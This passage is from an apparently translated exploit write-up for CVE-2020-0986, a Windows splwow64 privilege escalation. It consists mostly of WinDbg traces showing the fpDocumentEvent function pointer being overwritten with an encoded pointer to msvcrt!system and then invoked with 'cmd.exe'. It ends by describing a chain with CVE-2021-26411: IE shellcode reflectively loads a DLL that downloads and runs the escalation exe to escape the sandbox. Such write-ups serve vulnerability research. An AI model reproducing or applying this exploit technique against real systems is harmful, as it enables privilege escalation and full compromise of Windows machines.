00007ffa`c71a5c5c 488b0d85d51300  mov     rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa3f668d74000
0:006> ln 00007ffa`c72e31e8
Browse module
Set bu breakpoint
 
(00007ffa`c72e31e8)   gdi32full!fpDocumentEvent   |  (00007ffa`c72e31f0)   gdi32full!fpQuerySpoolMode
Exact matches:
0:006> p
gdi32full!GdiPrinterThunk+0x2b3:
00007ffa`c71a5c63 48ff1536960a00  call    qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
.........................................................
.........................................................
0:006>
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
0:006> r
rax=0000000000a20800 rbx=0000000000a20160 rcx=0000000000a20060
rdx=00007ffac72e31e8 rsi=0000000000a20088 rdi=0000000000cdca80
rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9
 r8=0000000000000008  r9=0000000000000100 r10=00000fff5920c6c0
r11=000000000267f150 r12=0000000000000000 r13=0000000000000001
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei ng nz ac po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
0:006> p
gdi32full!GdiPrinterThunk+0x1fd4f:
00007ffa`c71c56ff 90              nop
0:006> dq 00000000`00a20060 l2
00000000`00a20060  07ffa3f6`68d74000 00000000`00000000

2. Fill the encoded fpSystem into the BaseAddress+fpDocOffset address.

0:006>
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
0:006> r
rax=0000000000a20800 rbx=0000000000a20160 rcx=00007ffac72e31e8
rdx=0000000000a20810 rsi=0000000000a20088 rdi=0000000000cdca80
rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9
r8=0000000000000008  r9=0000000000000100 r10=00000fff5920c6c0
r11=000000000267f150 r12=0000000000000000 r13=0000000000000001
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei ng nz ac po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
0:006> dq 00007ffac72e31e8
00007ffa`c72e31e8  07ffa3f6`68d74000 07ffa3f6`03994000
00007ffa`c72e31f8  07ffa3f6`038b4000 07ffa3f6`6adf4000
00007ffa`c72e3208  07ffa3f6`03a54000 07ffa3f6`0d254000
00007ffa`c72e3218  07ffa3f6`0b0f4000 07ffa3f6`06d94000
00007ffa`c72e3228  00080000`00000000 07ffa3f6`695f4000
00007ffa`c72e3238  07ffa3f6`09a04000 07ffa3f6`6fd14000
00007ffa`c72e3248  00000000`00000000 00000000`00000000
00007ffa`c72e3258  00000000`00000000 ffffffff`ffffffff
0:006> p
gdi32full!GdiPrinterThunk+0x1fd4f:
00007ffa`c71c56ff 90              nop
0:006> dq 00007ffac72e31e8
00007ffa`c72e31e8  07ffa46a`c7c34000 07ffa3f6`03994000
00007ffa`c72e31f8  07ffa3f6`038b4000 07ffa3f6`6adf4000
00007ffa`c72e3208  07ffa3f6`03a54000 07ffa3f6`0d254000
00007ffa`c72e3218  07ffa3f6`0b0f4000 07ffa3f6`06d94000
00007ffa`c72e3228  00080000`00000000 07ffa3f6`695f4000
00007ffa`c72e3238  07ffa3f6`09a04000 07ffa3f6`6fd14000
00007ffa`c72e3248  00000000`00000000 00000000`00000000
00007ffa`c72e3258  00000000`00000000 ffffffff`ffffffff

3. Finally, send the LPC message again, and include the parameters of the system function in the LPC message to realize vulnerability exploitation

0:006>
gdi32full!GdiPrinterThunk+0x2ac:
00007ffa`c71a5c5c 488b0d85d51300  mov     rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa46ac7c34000
0:006> ln 00007ffa`c72e31e8
Browse module
Set bu breakpoint
 
(00007ffa`c72e31e8)   gdi32full!fpDocumentEvent   |  (00007ffa`c72e31f0)   gdi32full!fpQuerySpoolMode
Exact matches:
0:006> p
gdi32full!GdiPrinterThunk+0x2b3:
00007ffa`c71a5c63 48ff1536960a00  call    qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
0:006> p
gdi32full!GdiPrinterThunk+0x2ba:
00007ffa`c71a5c6a 0f1f440000      nop     dword ptr [rax+rax]
0:006> ln rax
Browse module
Set bu breakpoint
 
(00007ffa`c8f87ec0)   msvcrt!system   |  (00007ffa`c8f87fe0)   msvcrt!capture_argv
Exact matches:
0:006>
gdi32full!GdiPrinterThunk+0x2bf:
00007ffa`c71a5c6f 488b4f50        mov     rcx,qword ptr [rdi+50h] ds:00000000`00cdcad0=0000000000a20800
0:006>
gdi32full!GdiPrinterThunk+0x2c3:
00007ffa`c71a5c73 448b4f3c        mov     r9d,dword ptr [rdi+3Ch] ds:00000000`00cdcabc=00000020
.........................................................
.........................................................
0:006> t
ntdll!LdrpDispatchUserCallTarget:
00007ffa`c946c590 4c8b1de9dd0e00  mov     r11,qword ptr [ntdll!LdrSystemDllInitBlock+0xb0 (00007ffa`c955a380)] ds:00007ffa`c955a380=00007df5fbab0000
.........................................................
.........................................................
0:006>
ntdll!LdrpDispatchUserCallTarget+0x3b:
00007ffa`c946c5cb 48ffe0          jmp     rax {msvcrt!system (00007ffa`c8f87ec0)}
0:006> da rcx
00000000`00a20200  "cmd.exe"

So far, we have completed the preparation of the right raising EXP of CVE-2020-0986.

Combining CVE-2021-26411 vulnerability to realize IE sandbox escape

Referring to @iamelli0t master's speech at snow SDC, the combination process of IE vulnerability and right raising vulnerability is as follows:

  1. Use IE vulnerability to realize RCE. The shellcode function executed is to inject a DLL through reflection.
  2. The function of DLL is to remotely download and execute rights lifting exe.

As shown in the above figure, CVE-2021-26411 cooperates with CVE-2020-0986 to realize sandbox escape and obtain a shell with Medium Integrity permission.

If the article is helpful to you, welcome to follow, like, collect (one click three links) and subscribe to the column.

Added by britt15 on Mon, 20 Sep 2021 11:02:29 +0300